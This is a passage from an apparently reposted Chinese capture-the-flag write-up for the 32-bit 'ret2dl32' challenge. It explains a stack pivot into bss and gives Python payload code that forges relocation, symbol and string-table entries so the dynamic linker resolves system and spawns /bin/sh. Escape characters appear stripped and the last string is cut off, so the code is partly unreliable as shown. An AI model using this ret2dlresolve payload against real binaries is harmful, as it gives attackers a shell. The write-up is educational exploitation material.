ret2dl32

ret2dl32

首先检查一下保护:

image-20200514131152092

IDA分析一下

image-20200514131218966

程序很简单就是,往bss段上的buf读入0x400个数据,然后拷贝到栈上。read_got还被置为0,这一看就是要逼着你使用ret2dlresolve。

首先我们程序劫持到bss段

padding = 'x00'*0x10c
padding += p32(base_stage+4)+'x00'*8+ p32(base_stage+0x500)
padding =  padding.ljust(0x300,'x00')

上面的代码使得我们把控制流劫持到base_stage的位置。base_stage就是buf+0x300的位置。

接下来我们伪造 rel.plt ,dynsym ,dynstr这三个结构体,最后是布置好参数让程序执行plt0。

fake_sym_addr = base_stage + 0x18
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align

index_dynsym = (fake_sym_addr - dynsym) /0x10
r_info = (index_dynsym << 8) | 0x7

st_name = (fake_sym_addr+0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
index_offset = (base_stage + 0x10) - rel_plt

payload =  p32(plt_0)
payload += p32(index_offset)    #+0x4
payload += 'BBBB'
payload += p32(base_stage+80)	#+0xC
payload += p32(elf.got['read']) + p32(r_info)         #fake_rel
payload += 'C' * align
payload += p32(st_name) + p32(0) + p32(0) + p32(0x12) #fake_sym
payload += 'systemx00'								  #fake_dynstr
payload = payload.ljust(80,'A')			
payload += '/bin/shx00
原文地址:https://www.cnblogs.com/Rookle/p/12888056.html